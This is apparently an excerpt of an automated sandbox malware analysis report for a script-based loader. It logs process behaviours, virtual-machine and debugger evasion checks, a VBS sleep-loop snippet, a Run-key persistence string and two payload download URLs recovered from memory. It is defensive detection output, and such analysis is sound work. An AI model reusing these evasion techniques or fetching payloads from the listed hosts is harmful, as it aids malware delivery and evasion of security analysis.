Source: explorer.exe User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x89 0x9E 0xE4
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\System32\wscript.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to detect Any.run
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: ieinstal.exe, 00000017.00000002.729749422.0000000003110000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: ieinstal.exe, 00000017.00000002.729749422.0000000003110000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: USER32NTDLLKERNEL32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNSTARTUP KEYHTTPS://WWW.BULKWHATSAPPSENDER.IN/BIN_FLDFMMV154.BINHTTPS://MADECOSMETICS.STORE/BIN_FLDFMMV154.BIN
Tries to detect virtualization through RDTSC time measurements
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe RDTSC instruction interceptor: First address: 0000000000409B7E second address: 0000000000409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\svchost.exe RDTSC instruction interceptor: First address: 0000000002A19904 second address: 0000000002A1990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\svchost.exe RDTSC instruction interceptor: First address: 0000000002A19B7E second address: 0000000002A19B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Potential evasive VBS script found (sleep loop)
Source: Initial file Initial file: For i = 1 To len(h) step 2 if ChrW("&H" & mid(h,i,2)) = "ZZZ" then Wscript.Sleep(1)
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6656 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\svchost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3427 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 862 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe API coverage: 5.9 %
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5wwhq3bl\5wwhq3bl.dll Jump to dropped file
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC86A60 rdtscp 23_2_1EC86A60
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: powershell.exe, 00000004.00000003.527285571.0000000005E1C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V
Source: explorer.exe, 00000018.00000000.696204667.00000000083E7000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000018.00000000.679067894.0000000008430000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: ieinstal.exe, 00000017.00000003.661574907.0000000002EB4000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000003.728416518.0000000002EB4000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000002.729596885.0000000002EB4000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000003.661150851.0000000002EB4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWRT
Source: ieinstal.exe, 00000017.00000002.729829863.00000000049CA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: ieinstal.exe, 00000017.00000002.729829863.00000000049CA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: explorer.exe, 00000018.00000000.692920243.000000000640C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: ieinstal.exe, 00000017.00000002.729829863.00000000049CA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Time Synchronization Service
Source: ieinstal.exe, 00000017.00000003.661574907.0000000002EB4000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000003.728416518.0000000002EB4000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000002.729596885.0000000002EB4000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000003.661150851.0000000002EB4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: ieinstal.exe, 00000017.00000002.729749422.0000000003110000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: ieinstal.exe, 00000017.00000002.729829863.00000000049CA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Heartbeat Service
Source: ieinstal.exe, 00000017.00000002.729829863.00000000049CA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Guest Shutdown Service
Source: explorer.exe, 00000018.00000000.692920243.000000000640C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: ieinstal.exe, 00000017.00000002.729829863.00000000049CA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicshutdown
Source: explorer.exe, 00000018.00000000.696204667.00000000083E7000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00
Source: wscript.exe, 00000001.00000003.360714915.0000020FF7DA0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\b8b}\A
Source: ieinstal.exe, 00000017.00000002.729829863.00000000049CA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V PowerShell Direct Service
Source: ieinstal.exe, 00000017.00000002.729829863.00000000049CA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicvss
Source: explorer.exe, 00000018.00000000.678887998.00000000082E2000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
Source: ieinstal.exe, 00000017.00000002.729749422.0000000003110000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: user32ntdllkernel32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=Software\Microsoft\Windows\CurrentVersion\RunStartup keyhttps://www.bulkwhatsappsender.in/bin_FlDFmmV154.binhttps://madecosmetics.store/bin_FlDFmmV154.bin
Source: ieinstal.exe, 00000017.00000002.729829863.00000000049CA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Data Exchange Service
Source: ieinstal.exe, 00000017.00000002.729829863.00000000049CA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Guest Service Interface
Source: explorer.exe, 00000018.00000000.678887998.00000000082E2000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: ieinstal.exe, 00000017.00000002.729829863.00000000049CA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicheartbeat
Source: explorer.exe, 00000018.00000000.679067894.0000000008430000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000-;
Source: powershell.exe, 00000004.00000002.670508477.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.666875748.0000000005587000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: l:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V
Source: explorer.exe, 00000018.00000000.756892182.000000000095C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}G
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe System information queried: ModuleInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Thread information set: HideFromDebugger Jump to behavior
Contains functionality to read the PEB
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC82ACB mov eax, dword ptr fs:[00000030h] 23_2_1EC82ACB
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1ED28ED6 mov eax, dword ptr fs:[00000030h] 23_2_1ED28ED6
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC836CC mov eax, dword ptr fs:[00000030h] 23_2_1EC836CC
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC98EC7 mov eax, dword ptr fs:[00000030h] 23_2_1EC98EC7
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1ED0FEC0 mov eax, dword ptr fs:[00000030h] 23_2_1ED0FEC0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC676E2 mov eax, dword ptr fs:[00000030h] 23_2_1EC676E2
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC816E0 mov ecx, dword ptr fs:[00000030h] 23_2_1EC816E0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC82AE4 mov eax, dword ptr fs:[00000030h] 23_2_1EC82AE4
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1ECEFE87 mov eax, dword ptr fs:[00000030h] 23_2_1ECEFE87
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC8D294 mov eax, dword ptr fs:[00000030h] 23_2_1EC8D294
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC8D294 mov eax, dword ptr fs:[00000030h] 23_2_1EC8D294
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC552A5 mov eax, dword ptr fs:[00000030h] 23_2_1EC552A5
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC552A5 mov eax, dword ptr fs:[00000030h] 23_2_1EC552A5
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC552A5 mov eax, dword ptr fs:[00000030h] 23_2_1EC552A5
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC552A5 mov eax, dword ptr fs:[00000030h] 23_2_1EC552A5
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC552A5 mov eax, dword ptr fs:[00000030h] 23_2_1EC552A5
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1ECD46A7 mov eax, dword ptr fs:[00000030h] 23_2_1ECD46A7
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC6AAB0 mov eax, dword ptr fs:[00000030h] 23_2_1EC6AAB0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC6AAB0 mov eax, dword ptr fs:[00000030h] 23_2_1EC6AAB0
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1ED20EA5 mov eax, dword ptr fs:[00000030h] 23_2_1ED20EA5
